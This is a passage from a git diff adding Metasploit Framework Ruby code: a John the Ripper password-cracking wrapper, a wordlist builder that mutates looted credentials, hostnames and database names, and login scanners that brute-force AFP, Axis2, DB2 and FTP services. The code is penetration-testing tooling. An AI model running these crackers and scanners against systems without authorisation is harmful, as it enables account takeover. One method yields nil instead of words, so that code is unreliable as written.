[Fixnum] An optional maximum duration of the cracking attempt in seconds + attr_accessor :max_runtime + + # @!attribute pot + # @return [String] The file path to an alternative John pot file to use + attr_accessor :pot + + # @!attribute rules + # @return [String] The wordlist mangling rules to use inside John + attr_accessor :rules + + # @!attribute wordlist + # @return [String] The file path to the wordlist to use + attr_accessor :wordlist + + validates :config, :'Metasploit::Framework::File_path' => true, if: 'config.present?' + + validates :hash_path, :'Metasploit::Framework::File_path' => true, if: 'hash_path.present?' + + validates :john_path, :'Metasploit::Framework::Executable_path' => true, if: 'john_path.present?' + + validates :pot, :'Metasploit::Framework::File_path' => true, if: 'pot.present?' + + validates :max_runtime, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + }, if: 'max_runtime.present?' + + validates :wordlist, :'Metasploit::Framework::File_path' => true, if: 'wordlist.present?' + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + end + + # This method follows a decision tree to determine the path + # to the John the Ripper binary we should use. + # + # @return [NilClass] if a binary path could not be found + # @return [String] the path to the selected JtR binary + def binary_path + # Always prefer a manually entered path + if john_path && ::File.file?(john_path) + bin_path = john_path + else + # Look in the Environment PATH for the john binary + path = Rex::FileUtils.find_full_path("john") || + Rex::FileUtils.find_full_path("john.exe") + + if path && ::File.file?(path) + bin_path = path + else + # If we can't find john anywhere else, look at our precompiled binaries + bin_path = select_shipped_binary + end + end + raise JohnNotFoundError, 'No suitable John binary was found on the system' if bin_path.blank? + bin_path + end + + # This method runs the command from {#crack_command} and yields each line of output. + # + # @yield [String] a line of output from the john command + # @return [void] + def crack + ::IO.popen(crack_command, "rb") do |fd| + fd.each_line do |line| + yield line + end + end + end + + # This method builds an array for the command to actually run the cracker. + # It builds the command from all of the attributes on the class. + # + # @raise [JohnNotFoundError] if a suitable John binary was never found + # @return [Array] An array set up for {::IO.popen} to use + def crack_command + cmd_string = binary_path + cmd = [ cmd_string, '--session=' + john_session_id, '--nolog' ] + + if config.present? + cmd << ( "--config=" + config ) + else + cmd << ( "--config=" + john_config_file ) + end + + if pot.present? + cmd << ( "--pot=" + pot ) + else + cmd << ( "--pot=" + john_pot_file) + end + + if format.present? + cmd << ( "--format=" + format ) + end + + if wordlist.present? + cmd << ( "--wordlist=" + wordlist ) + end + + if incremental.present? + cmd << ( "--incremental=" + incremental ) + end + + if rules.present? + cmd << ( "--rules=" + rules ) + end + + if max_runtime.present? + cmd << ( "--max-run-time=" + max_runtime.to_s) + end + + cmd << hash_path + end + + # This runs the show command in john and yields cracked passwords. + # + # @yield [String] the output lines from the command + # @return [void] + def each_cracked_password + ::IO.popen(show_command, "rb") do |fd| + fd.each_line do |line| + yield line + end + end + end + + # This method returns the path to a default john.conf file. + # + # @return [String] the path to the default john.conf file + def john_config_file + ::File.join( ::Msf::Config.data_directory, "john", "confs", "john.conf" ) + end + + # This method returns the path to a default john.pot file. + # + # @return [String] the path to the default john.pot file + def john_pot_file + ::File.join( ::Msf::Config.config_directory, "john.pot" ) + end + + # This method is a getter for a random Session ID for John. + # It allows us to dinstiguish between cracking sessions. + # + # @ return [String] the Session ID to use + def john_session_id + @session_id ||= ::Rex::Text.rand_text_alphanumeric(8) + end + + # This method builds the command to show the cracked passwords. + # + # @raise [JohnNotFoundError] if a suitable John binary was never found + # @return [Array] An array set up for {::IO.popen} to use + def show_command + cmd_string = binary_path + + pot_file = pot || john_pot_file + cmd = [cmd_string, "--show", "--pot=#{pot_file}", "--format=#{format}" ] + + if config + cmd << "--config=#{config}" + else + cmd << ( "--config=" + john_config_file ) + end + + cmd << hash_path + end + + private + + # This method tries to identify the correct version of the pre-shipped + # JtR binaries to use based on the platform. + # + # @return [NilClass] if the correct binary could not be determined + # @return [String] the path to the selected binary + def select_shipped_binary + cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo") + run_path = nil + if File.directory?(cpuinfo_base) + data = nil + + case ::RUBY_PLATFORM + when /mingw|cygwin|mswin/ + fname = "#{cpuinfo_base}/cpuinfo.exe" + if File.exists?(fname) and File.executable?(fname) + data = %x{"#{fname}"} rescue nil + end + case data + when /sse2/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.win32.sse2", "john.exe") + when /mmx/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.win32.mmx", "john.exe") + else + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.win32.any", "john.exe") + end + when /x86_64-linux/ + fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} rescue nil + end + case data + when /mmx/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x64.mmx", "john") + else + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.any", "john") + end + when /i[\d]86-linux/ + fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" + if File.exists? fname + ::FileUtils.chmod(0755, fname) rescue nil + data = %x{"#{fname}"} rescue nil + end + case data + when /sse2/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.sse2", "john") + when /mmx/ + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.mmx", "john") + else + run_path ||= ::File.join(Msf::Config.data_directory, "john", "run.linux.x86.any", "john") + end + end + end + run_path + end + + + + end + + end + end +end diff --git a/lib/metasploit/framework/jtr/invalid_wordlist.rb b/lib/metasploit/framework/jtr/invalid_wordlist.rb new file mode 100644 index 0000000000..edf91b9505 --- /dev/null +++ b/lib/metasploit/framework/jtr/invalid_wordlist.rb @@ -0,0 +1,20 @@ +module Metasploit + module Framework + module JtR + + # This class is the generic Exception raised by a {Wordlist} when + # it fails validation. It rolls up all validation errors into a + # single exception so that all errors can be dealt with at once. + class InvalidWordlist < StandardError + attr_reader :model + + def initialize(model) + @model = model + + errors = @model.errors.full_messages.join(', ') + super(errors) + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/jtr/wordlist.rb b/lib/metasploit/framework/jtr/wordlist.rb new file mode 100644 index 0000000000..1b8a395eef --- /dev/null +++ b/lib/metasploit/framework/jtr/wordlist.rb @@ -0,0 +1,429 @@ +require 'metasploit/framework/jtr/invalid_wordlist' + +module Metasploit + module Framework + module JtR + + class Wordlist + include ActiveModel::Validations + + # A mapping of the mutation substitution rules + MUTATIONS = { + '@' => 'a', + '0' => 'o', + '3' => 'e', + '$' => 's', + '7' => 't', + '1' => 'l', + '5' => 's' + } + + # @!attribute appenders + # @return [Array] an array of strings to append to each word + attr_accessor :appenders + + # @!attribute custom_wordlist + # @return [String] the path to a custom wordlist file to include + attr_accessor :custom_wordlist + + # @!attribute mutate + # @return [TrueClass] if you want each word mutated as it is added + # @return [FalseClass] if you do not want each word mutated + attr_accessor :mutate + + # @!attribute prependers + # @return [Array] an array of strings to prepend to each word + attr_accessor :prependers + + # @!attribute use_common_root + # @return [TrueClass] if you want to use the common root words wordlist + # @return [FalseClass] if you do not want to use the common root words wordlist + attr_accessor :use_common_root + + # @!attribute use_creds + # @return [TrueClass] if you want to seed the wordlist with existing credential data from the database + # @return [FalseClass] if you do not want to seed the wordlist with existing credential data from the database + attr_accessor :use_creds + + # @!attribute use_db_info + # @return [TrueClass] if you want to seed the wordlist with looted database names and schemas + # @return [FalseClass] if you do not want to seed the wordlist with looted database names and schemas + attr_accessor :use_db_info + + # @!attribute use_default_wordlist + # @return [TrueClass] if you want to use the default wordlist + # @return [FalseClass] if you do not want to use the default wordlist + attr_accessor :use_default_wordlist + + # @!attribute use_hostnames + # @return [TrueClass] if you want to seed the wordlist with existing hostnames from the database + # @return [FalseClass] if you do not want to seed the wordlist with existing hostnames from the database + attr_accessor :use_hostnames + + # @!attribute workspace + # @return [Mdm::Workspace] the workspace this cracker is for. + attr_accessor :workspace + + validates :custom_wordlist, :'Metasploit::Framework::File_path' => true, if: 'custom_wordlist.present?' + + validates :mutate, + inclusion: { in: [true, false], message: "must be true or false" } + + + validates :use_common_root, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_creds, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_db_info, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_default_wordlist, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :use_hostnames, + inclusion: { in: [true, false], message: "must be true or false" } + + validates :workspace, + presence: true + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + @appenders ||= [] + @prependers ||= [] + end + + # This method takes a word, and appends each word from the appenders list + # and yields the new words. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_appended_word(word='') + yield word + appenders.each do |suffix| + yield "#{word}#{suffix}" + end + end + + # This method checks all the attributes set on the object and calls + # the appropriate enumerators for each option and yields the results back + # up the call-chain. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_base_word + # Make sure are attributes are all valid first! + valid! + + # Yield the expanded form of each line of the custom wordlist if one was given + if custom_wordlist.present? + each_custom_word do |word| + yield word unless word.blank? + end + end + + # Yield each word from the common root words list if it was selected + if use_common_root + each_root_word do |word| + yield word unless word.blank? + end + end + + # If the user has selected use_creds we yield each password, username, and realm name + # that currently exists in the database. + if use_creds + each_cred_word do |word| + yield word unless word.blank? + end + end + + if use_db_info + each_database_word do |word| + yield word unless word.blank? + end + end + + if use_default_wordlist + each_default_word do |word| + yield word unless word.blank? + end + end + + if use_hostnames + each_hostname_word do |word| + yield word unless word.blank? + end + end + + end + + # This method searches all saved Credentials in the database + # and yields all passwords, usernames, and realm names it finds. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_cred_word + # We don't want all Private types here. Only Passwords make sense for inclusion in the wordlist. + Metasploit::Credential::Password.all.each do |password| + yield password.data + end + + Metasploit::Credential::Public.all.each do |public| + yield public.username + end + + Metasploit::Credential::Realm.all.each do |realm| + yield realm.value + end + end + + # This method reads the file provided as custom_wordlist and yields + # the expanded form of each word in the list. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_custom_word + ::File.open(custom_wordlist, "rb") do |fd| + fd.each_line do |line| + expanded_words(line) do |word| + yield word + end + end + end + end + + # This method searches the notes in the current workspace + # for DB instance names, database names, table names, and + # column names gathered from live database servers. It yields + # each one that it finds. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_database_word + # Yield database, table and column names from any looted database schemas + workspace.notes.where('ntype like ?', '%.schema%').each do |note| + expanded_words(note.data['DBName']) do |word| + yield word + end + + note.data['Tables'].each do |table| + expanded_words(table['TableName']) do |word| + yield word + end + + table['Columns'].each do |column| + expanded_words(column['ColumnName']) do |word| + yield word + end + end + end + end + + # Yield any capture MSSQL Instance names + workspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename']).each do |note| + expanded_words(note.data['InstanceName']) do |word| + yield word + end + end + end + + # This method yields expanded words taken from the default john + # wordlist that we ship in the data directory. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_default_word + ::File.open(default_wordlist_path, "rb") do |fd| + fd.each_line do |line| + expanded_words(line) do |word| + yield word + end + end + end + end + + # This method yields the expanded words out of all the hostnames + # found in the current workspace. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_hostname_word + workspace.hosts.all.each do |host| + unless host.name.nil? + expanded_words(host.name) do |word| + yield nil + end + end + end + end + + # This method checks to see if the user asked for mutations. If mutations + # have been enabled, then it creates all the unique mutations and yields + # each result. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_mutated_word(word='') + mutants = [ ] + + # Run the mutations only if the option is set + if mutate + mutants = mutants + mutate_word(word) + end + + mutants << word + mutants.uniq.each do |mutant| + yield mutant + end + end + + # This method takes a word, and prepends each word from the prependers list + # and yields the new words. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_prepended_word(word='') + yield word + prependers.each do |prefix| + yield "#{prefix}#{word}" + end + end + + # This method reads the common_roots.txt wordlist + # expands any words in the list and yields them. + # + # @yieldparam word [String] the expanded word + # @return [void] + def each_root_word + ::File.open(common_root_words_path, "rb") do |fd| + fd.each_line do |line| + expanded_words(line) do |word| + yield word + end + end + end + end + + # This method wraps around all the other enumerators. It processes + # all of the options and yields each word generated by the options + # selected. + # + # @yieldparam word [String] the word to write out to the wordlist file + # @return [void] + def each_word + each_base_word do |base_word| + each_mutated_word(base_word) do |mutant| + each_prepended_word(mutant) do |prepended| + yield prepended + end + + each_appended_word(mutant) do |appended| + yield appended + end + end + end + end + + # This method takes a string and splits it on non-word characters + # and the underscore. It does this to find likely distinct words + # in the string. It then yields each 'word' found this way. + # + # @param word [String] the string to split apart + # @yieldparam expanded [String] the expanded words + # @return [void] + def expanded_words(word='') + word.split(/[\W_]+/).each do |expanded| + yield expanded + end + end + + # This method takes a word and applies various mutation rules to that word + # and returns an array of all the mutated forms. + # + # @param word [String] the word to apply the mutations to + # @return [Array] An array containing all the mutated forms of the word + def mutate_word(word) + results = [] + # Iterate through combinations to create each possible mutation + mutation_keys.each do |iteration| + next if iteration.flatten.empty? + intermediate = word.dup + subsititutions = iteration.collect { |key| MUTATIONS[key] } + intermediate.tr!(subsititutions.join, iteration.join) + results << intermediate + end + results.flatten.uniq + end + + # A getter for a memoized version fo the mutation keys list + # + # @return [Array] a 2D array of all mutation combinations + def mutation_keys + @mutation_keys ||= generate_mutation_keys + end + + # This method takes all the options provided and streams the generated wordlist out + # to a {Rex::Quickfile} and returns the {Rex::Quickfile}. + # + # @return [Rex::Quickfile] The {Rex::Quickfile} object that the wordlist has been written to + def to_file + valid! + wordlist_file = Rex::Quickfile.new("jtrtmp") + each_word do |word| + wordlist_file.puts word + end + wordlist_file + end + + # Raise an exception if the attributes are not valid. + # + # @raise [Invalid] if the attributes are not valid on this scanner + # @return [void] + def valid! + unless valid? + raise Metasploit::Framework::JtR::InvalidWordlist.new(self) + end + nil + end + + + + private + + # This method returns the path to the common_roots.txt wordlist + # + # @return [String] the file path to the common_roots.txt file + def common_root_words_path + ::File.join(Msf::Config.data_directory, 'john', 'wordlists', 'common_roots.txt') + end + + # This method returns the path to the passwords.lst wordlist + # + # @return [String] the file path to the passwords.lst file + def default_wordlist_path + ::File.join(Msf::Config.data_directory, 'john', 'wordlists', 'password.lst') + end + + def generate_mutation_keys + iterations = MUTATIONS.keys.dup + + # Find PowerSet of all possible mutation combinations + iterations.inject([[]]) do |accumulator,mutation_key| + power_set = [] + accumulator.each do |i| + power_set << i + power_set << i+[mutation_key] + end + power_set + end + end + + end + + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/login_scanner.rb b/lib/metasploit/framework/login_scanner.rb new file mode 100644 index 0000000000..1730977b7a --- /dev/null +++ b/lib/metasploit/framework/login_scanner.rb @@ -0,0 +1,47 @@ +require 'metasploit/framework/credential' + +module Metasploit + module Framework + # This module provides the namespace for all LoginScanner classes. + # LoginScanners are the classes that provide functionality for testing + # authentication against various different protocols and mechanisms. + module LoginScanner + require 'metasploit/framework/login_scanner/result' + require 'metasploit/framework/login_scanner/invalid' + + # Gather a list of LoginScanner classes that can potentially be + # used for a given `service`, which should usually be an + # `Mdm::Service` object, but can be anything that responds to + # #name and #port. + # + # @param service [Mdm::Service,#port,#name] + # @return [Array] A collection of LoginScanner + # classes that will probably give useful results when run + # against `service`. + def self.classes_for_service(service) + + unless @required + # Make sure we've required all the scanner classes + dir = File.expand_path("../login_scanner/", __FILE__) + Dir.glob(File.join(dir, "*.rb")).each do |f| + require f if File.file?(f) + end + @required = true + end + + self.constants.map{|sym| const_get(sym)}.select do |const| + next unless const.kind_of?(Class) + + ( + const.const_defined?(:LIKELY_PORTS) && + const.const_get(:LIKELY_PORTS).include?(service.port) + ) || ( + const.const_defined?(:LIKELY_SERVICE_NAMES) && + const.const_get(:LIKELY_SERVICE_NAMES).include?(service.name) + ) + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/afp.rb b/lib/metasploit/framework/login_scanner/afp.rb new file mode 100644 index 0000000000..60f6c0084c --- /dev/null +++ b/lib/metasploit/framework/login_scanner/afp.rb @@ -0,0 +1,55 @@ +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/afp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Apple Filing + # Protocol. + class AFP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + include Metasploit::Framework::AFP::Client + + DEFAULT_PORT = 548 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ "afp" ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # @!attribute login_timeout + # @return [Integer] Number of seconds to wait before giving up + attr_accessor :login_timeout + + def attempt_login(credential) + begin + connect + rescue Rex::ConnectionError, EOFError, Timeout::Error + status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + else + success = login(credential.public, credential.private) + status = (success == true) ? Metasploit::Model::Login::Status::SUCCESSFUL : Metasploit::Model::Login::Status::INCORRECT + end + + result = Result.new(credential: credential, status: status) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'afp' + result + end + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/axis2.rb b/lib/metasploit/framework/login_scanner/axis2.rb new file mode 100644 index 0000000000..6f3ee27b90 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/axis2.rb @@ -0,0 +1,76 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Tomcat Manager login scanner + class Axis2 < HTTP + + DEFAULT_PORT = 8080 + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + + CAN_GET_SESSION = true + PRIVATE_TYPES = [ :password ] + + # (see Base#attempt_login) + def attempt_login(credential) + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version + ) + + result_opts = { + credential: credential, + host: host, + port: port, + protocol: 'tcp' + } + if ssl + result_opts[:service_name] = 'https' + else + result_opts[:service_name] = 'http' + end + + begin + http_client.connect + body = "userName=#{Rex::Text.uri_encode(credential.public)}&password=#{Rex::Text.uri_encode(credential.private)}&submit=+Login+" + request = http_client.request_cgi( + 'uri' => uri, + 'method' => "POST", + 'data' => body, + ) + response = http_client.send_recv(request) + + if response && response.code == 200 && response.body.include?("upload") + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + Result.new(result_opts) + + end + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/axis2/axis2-admin/login" if self.uri.nil? + @method = "POST".freeze + + super + end + + # The method *must* be "POST", so don't let the user change it + # @raise [RuntimeError] + def method=(_) + raise RuntimeError, "Method must be POST for Axis2" + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb new file mode 100644 index 0000000000..2d40fb948d --- /dev/null +++ b/lib/metasploit/framework/login_scanner/base.rb @@ -0,0 +1,222 @@ +require 'metasploit/framework/login_scanner' + +module Metasploit + module Framework + module LoginScanner + + # This module provides the base behaviour for all of + # the LoginScanner classes. All of the LoginScanners + # should include this module to establish base behaviour + module Base + extend ActiveSupport::Concern + include ActiveModel::Validations + + included do + # @!attribute connection_timeout + # @return [Fixnum] The timeout in seconds for a single SSH connection + attr_accessor :connection_timeout + # @!attribute cred_details + # @return [CredentialCollection] Collection of Credential objects + attr_accessor :cred_details + # @!attribute host + # @return [String] The IP address or hostname to connect to + attr_accessor :host + # @!attribute port + # @return [Fixnum] The port to connect to + attr_accessor :port + # @!attribute proxies + # @return [String] The proxy directive to use for the socket + attr_accessor :proxies + # @!attribute stop_on_success + # @return [Boolean] Whether the scanner should stop when it has found one working Credential + attr_accessor :stop_on_success + + validates :connection_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + validates :cred_details, presence: true + + validates :host, presence: true + + validates :port, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1, + less_than_or_equal_to: 65535 + } + + validates :stop_on_success, + inclusion: { in: [true, false] } + + validate :host_address_must_be_valid + + validate :validate_cred_details + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + set_sane_defaults + end + + # Attempt a single login against the service with the given + # {Credential credential}. + # + # @param credential [Credential] The credential object to attmpt to + # login with + # @return [Result] A Result object indicating success or failure + # @abstract Protocol-specific scanners must implement this for their + # respective protocols + def attempt_login(credential) + raise NotImplementedError + end + + + def each_credential + cred_details.each do |raw_cred| + # This could be a Credential object, or a Credential Core, or an Attempt object + # so make sure that whatever it is, we end up with a Credential. + credential = raw_cred.to_credential + + if credential.realm.present? && self.class::REALM_KEY.present? + credential.realm_key = self.class::REALM_KEY + yield credential + elsif credential.realm.blank? && self.class::REALM_KEY.present? && self.class::DEFAULT_REALM.present? + credential.realm_key = self.class::REALM_KEY + credential.realm = self.class::DEFAULT_REALM + yield credential + elsif credential.realm.present? && self.class::REALM_KEY.blank? + second_cred = credential.dup + # Strip the realm off here, as we don't want it + credential.realm = nil + credential.realm_key = nil + yield credential + # Some services can take a domain in the username like this even though + # they do not explicitly take a domain as part of the protocol. + second_cred.public = "#{second_cred.realm}\\#{second_cred.public}" + second_cred.realm = nil + second_cred.realm_key = nil + yield second_cred + else + yield credential + end + end + end + + # Attempt to login with every {Credential credential} in + # {#cred_details}, by calling {#attempt_login} once for each. + # + # If a successful login is found for a user, no more attempts + # will be made for that user. + # + # @yieldparam result [Result] The {Result} object for each attempt + # @yieldreturn [void] + # @return [void] + def scan! + valid! + + # Keep track of connection errors. + # If we encounter too many, we will stop. + consecutive_error_count = 0 + total_error_count = 0 + + successful_users = Set.new + + each_credential do |credential| + # For Pro bruteforce Reuse and Guess we need to note that we skipped an attempt. + if successful_users.include?(credential.public) + if credential.parent.respond_to?(:skipped) + credential.parent.skipped = true + credential.parent.save! + end + next + end + + result = attempt_login(credential) + result.freeze + + yield result if block_given? + + if result.success? + consecutive_error_count = 0 + break if stop_on_success + successful_users << credential.public + else + if result.status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + consecutive_error_count += 1 + total_error_count += 1 + break if consecutive_error_count >= 3 + break if total_error_count >= 10 + end + end + end + nil + end + + # Raise an exception if this scanner's attributes are not valid. + # + # @raise [Invalid] if the attributes are not valid on this scanner + # @return [void] + def valid! + unless valid? + raise Metasploit::Framework::LoginScanner::Invalid.new(self) + end + nil + end + + + private + + # This method validates that the host address is both + # of a valid type and is resolveable. + # @return [void] + def host_address_must_be_valid + if host.kind_of? String + begin + resolved_host = ::Rex::Socket.getaddress(host, true) + if host =~ /^\d{1,3}(\.\d{1,3}){1,3}$/ + unless host =~ Rex::Socket::MATCH_IPV4 + errors.add(:host, "could not be resolved") + end + end + self.host = resolved_host + rescue + errors.add(:host, "could not be resolved") + end + else + errors.add(:host, "must be a string") + end + end + + # This is a placeholder method. Each LoginScanner class + # will override this with any sane defaults specific to + # its own behaviour. + # @abstract + # @return [void] + def set_sane_defaults + self.connection_timeout = 30 if self.connection_timeout.nil? + end + + # This method validates that the credentials supplied + # are all valid. + # @return [void] + def validate_cred_details + unless cred_details.respond_to? :each + errors.add(:cred_details, "must respond to :each") + end + end + + end + + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/db2.rb b/lib/metasploit/framework/login_scanner/db2.rb new file mode 100644 index 0000000000..7406ce21b4 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/db2.rb @@ -0,0 +1,139 @@ +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # This is the LoginScanner class for dealing with DB2 Database servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class DB2 + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 50000 + DEFAULT_REALM = 'toolsdb' + LIKELY_PORTS = [ DEFAULT_PORT ] + # @todo XXX + LIKELY_SERVICE_NAMES = [ ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = Metasploit::Model::Realm::Key::DB2_DATABASE + + # @see Base#attempt_login + def attempt_login(credential) + result_options = { + credential: credential + } + + begin + probe_data = send_probe(credential.realm) + + if probe_data.empty? + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + else + if authenticate?(credential) + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + end + rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout, ::Rex::Proto::DRDA::RespError,::Timeout::Error => e + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: e.message + }) + end + + result = ::Metasploit::Framework::LoginScanner::Result.new(result_options) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'db2' + result + end + + private + # This method takes the credential and actually attempts the authentication + # @param credential [Credential] The Credential object to authenticate with. + # @return [Boolean] Whether the authentication was successful + def authenticate?(credential) + # Send the login packet and get a response packet back + login_packet = Rex::Proto::DRDA::Utils.client_auth(:dbname => credential.realm, + :dbuser => credential.public, + :dbpass => credential.private + ) + sock.put login_packet + response = sock.get_once + if valid_response?(response) + if successful_login?(response) + true + else + false + end + else + false + end + end + + # This method opens a socket to the target DB2 server. + # It then sends a client probe on that socket to get information + # back on the server. + # @param database_name [String] The name of the database to probe + # @return [Hash] A hash containing the server information from the probe reply + def send_probe(database_name) + disconnect if self.sock + connect + + probe_packet = Rex::Proto::DRDA::Utils.client_probe(database_name) + sock.put probe_packet + response = sock.get_once + + response_data = {} + if valid_response?(response) + packet = Rex::Proto::DRDA::SERVER_PACKET.new.read(response) + response_data = Rex::Proto::DRDA::Utils.server_packet_info(packet) + end + response_data + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + + self.ssl = false if self.ssl.nil? + end + + # This method takes a response packet and checks to see + # if the authentication was actually successful. + # + # @param response [String] The unprocessed response packet + # @return [Boolean] Whether the authentication was successful + def successful_login?(response) + packet = Rex::Proto::DRDA::SERVER_PACKET.new.read(response) + packet_info = Rex::Proto::DRDA::Utils.server_packet_info(packet) + if packet_info[:db_login_success] + true + else + false + end + end + + # This method provides a simple test on whether the response + # packet was valid. + # + # @param response [String] The response to examine from the socket + # @return [Boolean] Whether the response is valid + def valid_response?(response) + response && response.length > 0 + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ftp.rb b/lib/metasploit/framework/login_scanner/ftp.rb new file mode 100644 index 0000000000..14ac215f11 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ftp.rb @@ -0,0 +1,80 @@ +require 'metasploit/framework/ftp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with FTP. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class FTP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Ftp::Client + + DEFAULT_PORT = 21 + LIKELY_PORTS = [ DEFAULT_PORT, 2121 ] + LIKELY_SERVICE_NAMES = [ 'ftp' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # @!attribute ftp_timeout + # @return [Fixnum] The timeout in seconds to wait for a response to an FTP command + attr_accessor :ftp_timeout + + validates :ftp_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + + + # (see Base#attempt_login) + def attempt_login(credential) + result_options = { + credential: credential + } + + begin + success = connect_login(credential.public, credential.private) + rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + success = false + end + + + if success + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + elsif !(result_options.has_key? :status) + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + result = ::Metasploit::Framework::LoginScanner::Result.new(result_options) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'ftp' + result + end + + private + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + self.ftp_timeout ||= 16 + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb new file mode 100644 index 0000000000..45c661d0de --- /dev/null +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -0,0 +1,132 @@ +require 'rex/proto/http' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # + # HTTP-specific login scanner. + # + class HTTP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + + DEFAULT_REALM = nil + 